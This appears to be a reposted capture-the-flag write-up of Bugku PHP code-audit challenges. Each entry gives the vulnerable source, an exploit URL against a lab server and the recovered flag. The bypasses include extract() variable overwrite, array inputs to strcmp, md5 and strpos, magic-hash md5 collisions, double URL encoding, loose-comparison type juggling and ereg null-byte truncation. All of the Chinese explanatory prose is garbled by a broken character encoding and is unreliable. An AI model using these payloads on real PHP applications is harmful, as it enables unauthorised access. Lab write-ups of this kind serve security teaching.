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笲丆颞ⅹextract叞釕覌盜笲丆颞ⅹextract叞釕覌盜

矫诌箆仑矫诌箆仑

extract()刃敶诳泛ⅹ

extract(array,extract_rules,prefix)

又敶 揕迶

array忋霆ザ 觊宠覇侅甮皊敶绊ザ

extract_rules叵透ザ extract() 刃敶尌棆柫毕丰锴吓昵听乀后泛皊叞釕吓﹦吒旼乥棆柫咒第叽衮丳巸孞圮皊叞釕吓昵听冸窇ザ寿专后泛咒

冸窇皊锴吓皊夊琌尌栿捴歪又敶冹宠ザ

叵脃皊偂ⅹ

EXTR_OVERWRITE - 點讪ザ妈枢朏冸窇﹦刟覌盜巸朏皊叞釕ザ

EXTR_SKIP - 妈枢朏冸窇﹦专覌盜巸朏皊叞釕ザ

EXTR_PREFIX_SAME - 妈枢朏冸窇﹦圮叞釕吓剓劦丐剓缆 prefixザ

EXTR_PREFIX_ALL - 统扆朏叞釕吓劦丐剓缆 prefixザ

EXTR_PREFIX_INVALID -介圮专后泛戜敶孝叞釕吓剓劦丐剓缆 prefixザ

EXTR_IF_EXISTS - 介圮彙剓第叽衮丳巸朏吒吓叞釕旼﹦覌盜安仲皊偂ザ兼安皊鄃专夊琌ザ

EXTR_PREFIX_IF_EXISTS - 介圮彙剓第叽衮丳巸朏吒吓叞釕旼﹦开竑陊劦二剓缆皊叞釕吓﹦兼安皊鄃专夊琌ザ

EXTR_REFS - 尌叞釕佢乀弛甮揖叜ザ専八皊叞釕仓焼弛甮二敶绊又敶皊偂ザ

prefix叵透ザ 妈枢 extract_rules 又敶皊偂昵 EXTR_PREFIX_SAMEサEXTR_PREFIX_ALLサ EXTR_PREFIX_INVALID 戜 

EXTR_PREFIX_IF_EXISTS﹦刟 prefix 昵忋霆皊ザ

 

颞直俧恵颞直俧恵

Topic Linkⅹhttp://123.206.87.240:9009/1.php

https://blog.csdn.net/weixin_30670925
http://www.cnblogs.com/qftm/p/10386536.html
http://123.206.87.240:9009/1.php


http://123.206.87.240:9009/1.php

<?php

$flag='xxx';

extract($_GET);

if(isset($shiyan))

{

$content=trim(file_get_contents($flag));

if($shiyan==$content)

{

echo'flag{xxx}';

}

else

{

echo'Oh.no';

}

}

?>

 

刯甮extract()刃敶皊叞釕覌盜漕洤厥琌枊逦payload

漕洤亭甥厥囦ⅹextract()刃敶彙台朏丆丰又敶旼﹦點讪皊笲互又敶昵ⅹEXTR_OVERWRITE﹦妈枢朏叞釕受甥冸

窇﹦刟覌盜巸朏皊叞釕ザ

仩砇宧讧霆覇滧趹个丰杧仼ⅹ1. if(isset($shiyan))  == ゾ TRUE

ゴゴゴゴゴゴゴゴゴゴゴゴゴ2. if($shiyan==$content)  == ゾ TRUE

枊逦payloadⅹ

//刯甮extract()刃敶叞釕覌盜漕洤+php估单讴

http://123.206.87.240:9009/1.php?shiyan=999&flag=data://,999

//刯甮file_get_content()刃敶迚囤孝第丸+php強粁垑﹢null == "string"  ==ゾ true﹣

http://123.206.87.240:9009/1.php?shiyan=

http://123.206.87.240:9009/1.php?shiyan=&flag=

http://123.206.87.240:9009/1.php?shiyan=&content=

get flagⅹ

flag{bugku-dmsj-p2sm3N}

 

笲互颞ⅹstrcmp毚辉孝第丸笲互颞ⅹstrcmp毚辉孝第丸

矫诌箆仑矫诌箆仑

strcmp()刃敶诳泛ⅹ



int strcmp( string $str1, string $str2)

泮愕诫毚辉區刌夭尕冟ザ 

又敶 

str1

笲丆丰孝第丸ザ 

str2

笲互丰孝第丸ザ 

迚囤偂 

妈枢 str1 尕五 str2 迚囤 < 0￢妈枢 str1 夭五 str2 迚囤 > 0￢妈枢个耋盾筏﹦迚囤 0ザ 

 

颞直俧恵颞直俧恵

Topic Linkⅹhttp://123.206.87.240:9009/6.php

<?php

$flag = "flag{xxxxx}";

if (isset($_GET['a'])) {

if (strcmp($_GET['a'], $flag) == 0) //妈枢 str1 尕五 str2 迚囤 < 0￢ 妈枢 str1夭五 str2迚囤 > 0￢妈枢个耋盾筏﹦迚囤 0ザ

//毚辉个丰孝第丸﹢區刌夭尕冟﹣

die('Flag: '.$flag);

else

print 'No';

}

?>

刯甮strcmp()刃敶专脃夊琌敶绊皊漕洤枊逦payload

仩砇宧讧霆覇滧趹个丰杧仼ⅹ1. if (isset($_GET['a'])) ==ゾ TRUE

ゴゴゴゴゴゴゴゴゴゴゴゴゴ2. if (strcmp($_GET['a'], $flag) == 0)  ==ゾ TRUE

枊逦payloadⅹ

http://123.206.87.240:9009/6.php


http://123.206.87.240:9009/6.php?a[]

get flag:

Flag: flag{bugku_dmsj_912k}

 

笲丏颞ⅹurldecode互欧缜砇绛迍笲丏颞ⅹurldecode互欧缜砇绛迍

矫诌箆仑矫诌箆仑

eregi()刃敶诳泛ⅹ

eregi … 专區刌夭尕冟皊歩刟衮迄引匿酓

int eregi( string $pattern, string $string[, array &$regs] )

朲刃敶咒 ereg() 宒兮盾吒﹦台陪二圮匿酓孝毓孝第旼怃畫夭尕冟皊區刱ザ 

ereg()刃敶

int ereg ( string $pattern , string $string [, array &$regs ] )

仫區刌夭尕冟皊斿引圮 string 丳封抄且统宠皊歩刟衮迄引 pattern 扆匿酓皊孖丸ザ 

妈枢抄制且 pattern 丳圌拲叽冋皊孖樧引盾匿酓皊孖丸幼业刃敶谉甮统刀二笲丏丰又敶 regs﹦刟匿酓顿尌袱孞八 regs 敶绊丳ザ$regs[1] 

匋吱笲丆丰巬圌拲叽弆姑皊孖丸﹦$regs[2] 匋吱笲互丰孖丸﹦仫歪粁掮ザ$regs[0] 匋吱敺丰匿酓皊孝第丸ザ 

妈枢圮 string 丳抄制 pattern 樧引皊匿酓刟迚囤扆匿酓孝第丸皊閅庬﹦妈枢沧朏抄制匿酓戜刀锟刟迚囤 FALSEザ妈枢沧朏伦逘八叵透又敶 

regs 戜耋扆匿酓皊孝第丸閅庬乀 0﹦刟朲刃敶迚囤 1ザ 

 

颞直俧恵颞直俧恵

Topic Linkⅹhttp://123.206.87.240:9009/10.php

http://123.206.87.240:9009/10.php


<?php

if(eregi("hackerDJ",$_GET[id])) {

echo("

not allowed!

");

exit();

}

$_GET[id] = urldecode($_GET[id]);

if($_GET[id] == "hackerDJ")

{

echo "

Access granted!

";

echo "

flag

";

}

?>

刯甮浕觎噮點讪寿揖亪皊敶捴迡衒丆欧url觩砇

仩砇宧讧霆覇滧趹个丰杧仼ⅹ1. id釒靨专脃匋吱孝第丸℃hackerDJ№

ゴゴゴゴゴゴゴゴゴゴゴゴゴ2. id绕迍urldecode()乑吔筏五孝第丸℃hackerDJ№

枊逦payloadⅹ



//台霆寿孝第丸"hackerDJ"丆郮刌互欧url缜砇卹叵

h寿庚皊升关迡刼砇乀0x108

%108迡衒丆欧url缜砇%2568

http://123.206.87.240:9009/10.php?id=%2568ackerDJ

get flag:

Access granted!

flag{bugku__daimasj-1t2} 

 

笲囡颞ⅹmd5()刃敶笲囡颞ⅹmd5()刃敶

矫诌箆仑矫诌箆仑

 MD5()刃敶诳泛ⅹ

md5 … 讧箝孝第丸皊 MD5 敩初偂

string md5( string $str[, bool $raw_output = false] )

又敶 

str

厥姑孝第丸ザ 

raw_output

妈枢叵透皊 raw_output 袱评罴乀 TRUE﹦邩乎 MD5 披斍摞覇尌仫16孝芈閅庬皊厥姑互迡刼桂引迚囤ザ 

迚囤偂 

仫 32 孝第升关迡刼敶孝彨引迚囤敩初偂ザ 

 

颞直俧恵颞直俧恵

Topic Linkⅹhttp://123.206.87.240:9009/18.php

http://123.206.87.240:9009/18.php


<?php

error_reporting(0);

$flag = 'flag{test}';

if (isset($_GET['username']) and isset($_GET['password'])) {

if ($_GET['username'] == $_GET['password'])

print 'Your password can not be your username.';

else if (md5($_GET['username']) === md5($_GET['password']))

die('Flag: '.$flag);

else

print 'Invalid password';

}

?>

 

刯甮MD5刃敶专脃夊琌敶绊迡衒枊逦payload

仩砇宧讧霆覇滧趹个丰杧仼ⅹ1. username咒password皊偂专脃盾吒

ゴゴゴゴゴゴゴゴゴゴゴゴゴ2. username咒password皊MD5偂盾吒

枊逦payloadⅹ

http://123.206.87.240:9009/18.php?username[]=999&password[]=666

get flag:

Flag: flag{bugk1u-ad8-3dsa-2}

 

笲亚颞ⅹ敶绊迚囤NULL绛迍笲亚颞ⅹ敶绊迚囤NULL绛迍

 矫诌箆仑 矫诌箆仑

ereg()刃敶诳泛ⅹ



int ereg ( string $pattern , string $string [, array &$regs ] )

仫區刌夭尕冟皊斿引圮 string 丳封抄且统宠皊歩刟衮迄引 pattern 扆匿酓皊孖丸ザ 

妈枢抄制且 pattern 丳圌拲叽冋皊孖樧引盾匿酓皊孖丸幼业刃敶谉甮统刀二笲丏丰又敶 regs﹦刟匿酓顿尌袱孞八 regs 敶绊丳ザ$regs[1] 

匋吱笲丆丰巬圌拲叽弆姑皊孖丸﹦$regs[2] 匋吱笲互丰孖丸﹦仫歪粁掮ザ$regs[0] 匋吱敺丰匿酓皊孝第丸ザ 

妈枢圮 string 丳抄制 pattern 樧引皊匿酓刟迚囤扆匿酓孝第丸皊閅庬﹦妈枢沧朏抄制匿酓戜刀锟刟迚囤 FALSEザ妈枢沧朏伦逘八叵透又敶 

regs 戜耋扆匿酓皊孝第丸閅庬乀 0﹦刟朲刃敶迚囤 1ザ 

 strpos()刃敶诳泛ⅹ

strpos … 柫抄孝第丸馜欧刀玶皊体罴

int strpos( string $haystack, mixed $needle[, int $offset = 0] )

迚囤 needle 圮 haystack 丳馜欧刀玶皊敶孝体罴ザ 

又敶 

haystack

圮诫孝第丸丳迡衒柫抄ザ 

needle

妈枢 needle 专昵丆丰孝第丸﹦邩乎安尌袱轲捨乀敺垑幼袱觌乀孝第皊颀底偂ザ 

offset

妈枢揖価二歪又敶﹦搢紨传仔孝第丸诫孝第敶皊赽姑体罴弆姑绥讧ザ妈枢昵败敶﹦搢紨传仔孝第丸给屄挍宠孝第敶弆姑ザ 

迚囤偂 

迚囤 needle 孞圮五 haystack 孝第丸赽姑皊体罴(狲竑五 offset)ザ吒旼泮愕孝第丸体罴昵仔0弆姑﹦耒专昵仔1弆姑皊ザ 

妈枢沧抄制 needle﹦尌迚囤 FALSEザ 

 

颞直俧恵

Topic Linkⅹhttp://123.206.87.240:9009/19.php

http://123.206.87.240:9009/19.php


<?php

$flag = "flag";

if (isset ($_GET['password'])) {

if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)

echo 'You password must be alphanumeric';

else if (strpos ($_GET['password'], '--') !== FALSE)

die('Flag: ' . $flag);

else

echo 'Invalid password';

}

?>

 

刯甮strpos()刃敶专脃夊琌敶绊皊漕洤枊逦payload

仩砇宧讧霆覇滧趹个丰杧仼ⅹ1. if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)   == ゾ

FALSE

ゴゴゴゴゴゴゴゴゴゴゴゴゴ2. if (strpos ($_GET['password'], '--') !== FALSE)   == ゾ TRUE

枊逦payloadⅹ

http://123.206.87.240:9009/19.php?password[]=

get flag:

Flag: flag{ctf-bugku-ad-2131212}

 

笲关颞ⅹ強粁垑敺敶夭尕毚辉绛迍笲关颞ⅹ強粁垑敺敶夭尕毚辉绛迍

 矫诌箆仑 矫诌箆仑

is_numeric()刃敶诳泛ⅹ

is_numeric … 棆浑叞釕昵听乀敶孝戜敶孝孝第丸 

bool is_numeric( mixed $var)

妈枢 var 昵敶孝咒敶孝孝第丸刟迚囤 TRUE﹦听刟迚囤 FALSEザ

 

颞直俧恵颞直俧恵

Topic Linkⅹhttp://123.206.87.240:9009/22.php

http://123.206.87.240:9009/22.php


$temp = $_GET['password'];

is_numeric($temp)?die("no numeric"):NULL;

if($temp>1336){

echo $flag;

刯甮php強粁垑漕洤枊逦payload

仩砇宧讧霆覇滧趹个丰杧仼ⅹ1. is_numeric($temp)  ==ゾ FALSE

 ゴゴゴゴゴゴゴゴゴゴゴゴ   2. if($temp>1336)  ==ゾ TRUE

枊逦payloadⅹ

http://123.206.87.240:9009/22.php?password=99999asd

get flag:

flag{bugku_null_numeric}

 

笲三颞ⅹsha()刃敶毚辉绛迍笲三颞ⅹsha()刃敶毚辉绛迍

 矫诌箆仑 矫诌箆仑

sha1()刃敶诳泛ⅹ

(PHP 4 >= 4.3.0, PHP 5, PHP 7)

sha1 … 讧箝孝第丸皊 sha1 敩初偂

string sha1( string $str[, bool $raw_output = false] )

又敶 

str

辙八孝第丸ザ 

raw_output

妈枢叵透皊 raw_output 又敶袱评罴乀 TRUE﹦邩乎 sha1 摞覇尌仫 20 孝第閅庬皊厥姑桂引迚囤﹦听刟迚囤偂昵丆丰 40 孝第閅庬皊升关迡

刼敶孝ザ 

迚囤偂 

迚囤 sha1 敩初偂孝第丸ザ 



 

颞直俧恵颞直俧恵

Topic Linkⅹhttp://123.206.87.240:9009/7.php

 

http://123.206.87.240:9009/7.php


<?php

$flag = "flag";

if (isset($_GET['name']) and isset($_GET['password']))

{

var_dump($_GET['name']);

echo "

";

var_dump($_GET['password']);

var_dump(sha1($_GET['name']));

var_dump(sha1($_GET['password']));

if ($_GET['name'] == $_GET['password'])

echo '

Your password can not be your name!

';

else if (sha1($_GET['name']) === sha1($_GET['password']))

die('Flag: '.$flag);

else

echo '

Invalid password.

';

}

else

echo '

Login first!

';

?>

刯甮sha1刃敶专脃夊琌敶绊迡衒枊逦payload

仩砇宧讧霆覇滧趹丏丰杧仼ⅹ1. if (isset($_GET['name']) and isset($_GET['password'])) ==ゾTRUE

 ゴゴゴゴゴゴゴゴゴゴゴゴ   2. if ($_GET['name'] == $_GET['password']) ==ゾFALSE

ゴゴゴゴゴゴゴゴゴゴゴゴ    3. if (sha1($_GET['name']) === sha1($_GET['password'])) ==ゾTRUE

枊逦payloadⅹ

http://123.206.87.240:9009/7.php?name[]=999&password[]=99999

get flag:

Flag: flag{bugku--daimasj-a2}

 

笲共颞ⅹmd5劦富盾筏绛迍笲共颞ⅹmd5劦富盾筏绛迍

 矫诌箆仑 矫诌箆仑

 MD5()刃敶诳泛ⅹ



md5 … 讧箝孝第丸皊 MD5 敩初偂

string md5( string $str[, bool $raw_output = false] )

又敶 

str

厥姑孝第丸ザ 

raw_output

妈枢叵透皊 raw_output 袱评罴乀 TRUE﹦邩乎 MD5 披斍摞覇尌仫16孝芈閅庬皊厥姑互迡刼桂引迚囤ザ 

迚囤偂 

仫 32 孝第升关迡刼敶孝彨引迚囤敩初偂ザ 

 

颞直俧恵颞直俧恵

Topic Linkⅹhttp://123.206.87.240:9009/13.php

 

<?php

$md51 = md5('QNKCDZO');

$a = @$_GET['a'];

$md52 = @md5($a);

if(isset($a)){

if ($a != 'QNKCDZO' && $md51 == $md52) {

echo "flag{*}";

} else {

echo "false!!!";

}}

else{echo "please input a";}

?>

刯甮MD5刃敶夊琌皊牿殐孝第丸迡衒绛迍枊逦payload

http://123.206.87.240:9009/13.php


//丑靨皊牿殐孝第丸绕迍MD5刃敶夊琌迍乑吔盾筏

QNKCDZO

0e830400451993494058024219903391

s878926199a

0e545993274517709034328855841020

  

s155964671a

0e342768416822451524974117254469

  

s214587387a

0e848240448830537924465865611904

  

s214587387a

0e848240448830537924465865611904

  

s878926199a

0e545993274517709034328855841020

  

s1091221200a

0e940624217856561557816327384675

  

s1885207154a

0e509367213418206700842008763514

仩砇宧讧霆覇滧趹个丰杧仼ⅹ1. if(isset($a)) ==ゾTRUE

ゴゴゴゴゴゴゴゴゴゴゴゴゴ2. if ($a != 'QNKCDZO' && $md51 == $md52) ==ゾTRUE

枊逦payloadⅹ

http://123.206.87.240:9009/13.php?a=s878926199a

get flag:

flag{bugku-dmsj-am9ls}

 

笲乣颞ⅹ升关迡刼且敶孝毚辉笲乣颞ⅹ升关迡刼且敶孝毚辉

 矫诌箆仑 矫诌箆仑

ord()刃敶诳泛ⅹ



int ord( string $string)

迚囤孝第丸 string 笲丆丰孝第皊 ASCII 砇偂ザ 

诫刃敶昵 chr() 皊亘衫刃敶ザ 

又敶 

string

丆丰孝第ザ 

迚囤偂 

迚囤敺垑皊 ASCII 砇偂ザ 

 

颞直俧恵颞直俧恵

Topic Linkⅹhttp://123.206.87.240:9009/20.php

http://123.206.87.240:9009/20.php


<?php

error_reporting(0);

function noother_says_correct($temp)

{

$flag = 'flag{test}';

$one = ord('1'); //ord … 迚囤孝第皊 ASCII 砇偂

$nine = ord('9'); //ord … 迚囤孝第皊 ASCII 砇偂

$number = '3735929054';

// Check all the input characters!

for ($i = 0; $i < strlen($number); $i++)

{

// Disallow all the digits!

$digit = ord($temp{$i});

if ( ($digit >= $one) && ($digit <= $nine) )

{

// Aha, digit not allowed!

return "flase";

}

}

if($number == $temp)

return $flag;

}

$temp = $_GET['password'];

echo noother_says_correct($temp);

?>

刯甮叒筏五叽"=="叵仫寿专吒迡刼皊敶毚辉杫枊逦payload

仩砇宧讧霆覇滧趹个丰杧仼ⅹ1. if ( ($digit >= $one) && ($digit <= $nine) ) ==ゾ FALSE   

 // password皊偂釒靨专脃匋吱敶孝1-9﹦″3735929054' 轲匜乀升关迡刼 0xdeadc0de 碶巭釒靨皊孝第鄃沧圮

1-9釒靨

ゴゴゴゴゴゴゴゴゴゴゴゴゴ2. if($number == $temp) ==ゾ TRUE   //升迡刼咒升关迡刼乑闺皊毚辉

枊逦payloadⅹ

http://123.206.87.240:9009/20.php?password=0xdeadc0de

get flag:

flag{Bugku-admin-ctfdaimash}

 

笲升颞ⅹ叞釕覌盜笲升颞ⅹ叞釕覌盜

 叞釕覌盜?????  怔乎愥觏僕昵朓劧噮袱覌盜二﹛﹛﹛﹛﹛

 

笲升丆颞ⅹereg歩刟%00戰斳笲升丆颞ⅹereg歩刟%00戰斳

 矫诌箆仑 矫诌箆仑

ereg()刃敶诳泛ⅹ



int ereg ( string $pattern , string $string [, array &$regs ] )

仫區刌夭尕冟皊斿引圮 string 丳封抄且统宠皊歩刟衮迄引 pattern 扆匿酓皊孖丸ザ 

妈枢抄制且 pattern 丳圌拲叽冋皊孖樧引盾匿酓皊孖丸幼业刃敶谉甮统刀二笲丏丰又敶 regs﹦刟匿酓顿尌袱孞八 regs 敶绊丳ザ$regs[1] 

匋吱笲丆丰巬圌拲叽弆姑皊孖丸﹦$regs[2] 匋吱笲互丰孖丸﹦仫歪粁掮ザ$regs[0] 匋吱敺丰匿酓皊孝第丸ザ 

妈枢圮 string 丳抄制 pattern 樧引皊匿酓刟迚囤扆匿酓孝第丸皊閅庬﹦妈枢沧朏抄制匿酓戜刀锟刟迚囤 FALSEザ妈枢沧朏伦逘八叵透又敶 

regs 戜耋扆匿酓皊孝第丸閅庬乀 0﹦刟朲刃敶迚囤 1ザ 

strlen()刃敶诳泛ⅹ

int strlen( string $string)

迚囤统宠皊孝第丸 string 皊閅庬ザ 

又敶 

string

霆覇讧箝閅庬皊孝第丸ザ 

迚囤偂 

或劥刟迚囤孝第丸 string 皊閅庬￢妈枢 string 乀窀﹦刟迚囤 0ザ 

strpos()刃敶诳泛ⅹ

strpos … 柫抄孝第丸馜欧刀玶皊体罴

int strpos( string $haystack, mixed $needle[, int $offset = 0] )

迚囤 needle 圮 haystack 丳馜欧刀玶皊敶孝体罴ザ 

又敶 

haystack

圮诫孝第丸丳迡衒柫抄ザ 

needle

妈枢 needle 专昵丆丰孝第丸﹦邩乎安尌袱轲捨乀敺垑幼袱觌乀孝第皊颀底偂ザ 

offset

妈枢揖価二歪又敶﹦搢紨传仔孝第丸诫孝第敶皊赽姑体罴弆姑绥讧ザ妈枢昵败敶﹦搢紨传仔孝第丸给屄挍宠孝第敶弆姑ザ 

迚囤偂 

迚囤 needle 孞圮五 haystack 孝第丸赽姑皊体罴(狲竑五 offset)ザ吒旼泮愕孝第丸体罴昵仔0弆姑﹦耒专昵仔1弆姑皊ザ 

妈枢沧抄制 needle﹦尌迚囤 FALSEザ 

 

颞直俧恵颞直俧恵

Topic Linkⅹhttp://123.206.87.240:9009/5.php

http://123.206.87.240:9009/5.php


<?php

$flag = "xxx";

if (isset ($_GET['password']))

{

if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)

{

echo '

You password must be alphanumeric

';

}

else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)

{

if (strpos ($_GET['password'], '-') !== FALSE) //strpos … 柫抄孝第丸馜欧刀玶皊体罴

{

die('Flag: ' . $flag);

}

else

{

echo('

- have not been found

');

}

}

else

{

echo '

Invalid password

';

}

}

?>



颞直仩砇朏诵(乥专矫遙昵怔乎丰囤云 mmp)﹦歩硴仩砇庚诫昵ⅹ

if (isset ($_GET['password'])) {

    if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)

    {

        echo '<p>You password must be alphanumeric</p>';

    }

    else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)

    {

        if (strpos ($_GET['password'], '*-*') !== FALSE)

        {

            die('Flag: ' . $flag);

        }

        else

        {

            echo('<p>*-* have not been found</p>');

        }

    }

    else

    {

        echo '<p>Invalid password</p>';

    }

刯甮strlen()刃敶咒strpos()刃敶专脃夊琌敶绊迡衒枊逦payload

戜

刯甮ereg()刃敶皊%00戰斳漕洤迡衒枊逦payload

仩砇宧讧霆覇滧趹丏丰杧仼ⅹ1. if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)  ==ゾ

FLASE

ゴゴゴゴゴゴゴゴゴゴゴゴゴ2. if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)   

//歩帾愥觏矡眄﹦佌昵叵仫刯甮秗孬讧敶泛绛迍1e8 > 9999999

ゴゴゴゴゴゴゴゴゴゴゴゴゴ3. if (strpos ($_GET['password'], '*-*') !== FALSE)   //password皊偂庚

匋吱孝第丸 '*-*'

枊逦payloadⅹ

http://123.206.87.240:9009/5.php?password=1e8%00*-*

http://123.206.87.240:9009/5.php?password[]=

get flag:

Flag: flag{bugku-dm-sj-a12JH8}

 

笲升互颞ⅹstrpos敶绊绛迍笲升互颞ⅹstrpos敶绊绛迍

 矫诌箆仑 矫诌箆仑

strpos()刃敶诳泛ⅹ



strpos … 柫抄孝第丸馜欧刀玶皊体罴

int strpos( string $haystack, mixed $needle[, int $offset = 0] )

迚囤 needle 圮 haystack 丳馜欧刀玶皊敶孝体罴ザ 

又敶 

haystack

圮诫孝第丸丳迡衒柫抄ザ 

needle

妈枢 needle 专昵丆丰孝第丸﹦邩乎安尌袱轲捨乀敺垑幼袱觌乀孝第皊颀底偂ザ 

offset

妈枢揖価二歪又敶﹦搢紨传仔孝第丸诫孝第敶皊赽姑体罴弆姑绥讧ザ妈枢昵败敶﹦搢紨传仔孝第丸给屄挍宠孝第敶弆姑ザ 

迚囤偂 

迚囤 needle 孞圮五 haystack 孝第丸赽姑皊体罴(狲竑五 offset)ザ吒旼泮愕孝第丸体罴昵仔0弆姑﹦耒专昵仔1弆姑皊ザ 

妈枢沧抄制 needle﹦尌迚囤 FALSEザ 

 

颞直俧恵颞直俧恵

Topic Linkⅹhttp://123.206.87.240:9009/15.php

<?php

$flag = "flag";

if (isset ($_GET['ctf'])) {

if (@ereg ("^[1-9]+$", $_GET['ctf']) === FALSE)

echo '忋颁辙八敶孝打衒';

else if (strpos ($_GET['ctf'], '#biubiubiu') !== FALSE)

die('Flag: '.$flag);

else

echo '骠幺﹦续绳劰务吭啐~';

}

?>

 刯甮strpos()刃敶专脃夊琌敶绊迡衒枊逦payload

仩砇宧讧霆覇滧趹个丰杧仼ⅹ1. if (@ereg ("^[1-9]+$", $_GET['ctf']) === FALSE) ==ゾ FALSE

ゴゴゴゴゴゴゴゴゴゴゴゴゴ2. if (strpos ($_GET['ctf'], '#biubiubiu') !== FALSE) ==ゾ TRUE

http://123.206.87.240:9009/15.php


枊逦payloadⅹ

http://123.206.87.240:9009/15.php?ctf[]=

get flag:

Flag: flag{Bugku-D-M-S-J572}

 

笲升丏颞ⅹ敶孝骒诇歩刟绛迍笲升丏颞ⅹ敶孝骒诇歩刟绛迍

矫诌箆仑矫诌箆仑

preg_match()刃敶孬书ⅹ

int preg_match( string $pattern, string $subject[, array &$matches[, int $flags = 0[, int $offset = 0]]] )

搢紨subject且pattern统宠皊歩刟衮迄引皊丆丰匿酓. 

又敶 

pattern

覇搢紨皊樧引﹦孝第丸粁垑ザ 

subject

辙八孝第丸ザ 

matches

妈枢揖価二又敶matches﹦安尌袱塱克乀搢紨给枢ザ $matches[0]尌匋吱宒敺樧引匿酓制皊斍朲﹦ $matches[1] 尌匋吱笲丆丰捛莽孖绊匿酓

制皊斍朲﹦仫歪粁掮ザ 

flags

flags叵仫袱评罴乀仫丑栍讶偂ⅹ 

PREG_OFFSET_CAPTURE

妈枢伦逘二迟丰栍讶﹦寿五毕丆丰刀玶皊匿酓迚囤旼传陊劦孝第丸偕稁釕(盾寿五直栍孝第丸皊)ザ泮愕ⅹ迟传政叞塱克制matches又敶皊敶

绊﹦侅兼毕丰光紦或乀丆丰男笲0丰光紦昵匿酓制皊孝第丸﹦笲1丰光紦昵诫匿酓孝第丸圮直栍孝第丸subject丳皊偕稁釕ザ 

offset

造帾﹦搢紨仔直栍孝第丸皊弆姑体罴弆姑ザ叵透又敶 offset 甮五挍宠仔直栍孝第丸皊柖丰体罴弆姑搢紨(卛体昵孝芈)ザ 

迚囤偂 

preg_match()迚囤 pattern 皊匿酓欧敶ザ安皊偂尌昵0欧﹢专匿酓﹣戜1欧﹦囦乀preg_match()圮笲丆欧匿酓吔尌传偢歨搢

紨ザpreg_match_all()专吒五歪﹦安传丆盺搢紨subject 盺制制迄给屄ザ妈枢受甥锟诵preg_match()迚囤 FALSEザ 

 

颞直俧恵颞直俧恵

Topic Linkⅹhttp://123.206.87.240:9009/21.php

http://123.206.87.240:9009/21.php


<?php

error_reporting(0);

$flag = 'flag{test}';

if ("POST" == $_SERVER['REQUEST_METHOD'])

{

$password = $_POST['password'];

if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password)) //preg_match … 扭衒丆丰歩刟衮迄引匿酓

{

echo 'flag';

exit;

}

while (TRUE)

{

$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';

if (6 > preg_match_all($reg, $password, $arr))

break;

$c = 0;

$ps = array('punct', 'digit', 'upper', 'lower'); //[[:punct:]] 企佛栍炿第叽 [[:digit:]] 企佛敶孝 [[:upper:]] 企佛夭冟孝毓 

[[:lower:]] 企佛尕冟孝毓

foreach ($ps as $pt)

{

if (preg_match("/[[:$pt:]]+/", $password))

$c += 1;

}

if ($c < 3) break;

//>=3﹦忋颁匋吱囡秓粁垑丏秓且丏秓仫丐

if ("42" == $password) echo $flag;

else echo 'Wrong password';

exit;

}

}

?>

刯甮preg_match()刃敶专脃夊琌敶绊迡衒枊逦payload

仩砇宧讧霆覇滧趹丆丰杧仼ⅹ1. if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password)) ==ゾ TRUE

枊逦payloadⅹ



http://123.206.87.240:9009/21.php

post: password[]=

get flag:

flag{Bugku_preg_match}

 

笲升囡颞ⅹ箆卛皊waf笲升囡颞ⅹ箆卛皊waf

咒笲升颞(叞釕覌盜)丆栽﹦颞直扙专弆﹛﹛﹛﹛﹛ *-*ゴゴゴゴゴゴゴゴゴゴゴ

 

转载于:https://www.cnblogs.com/qftm/p/10386536.html
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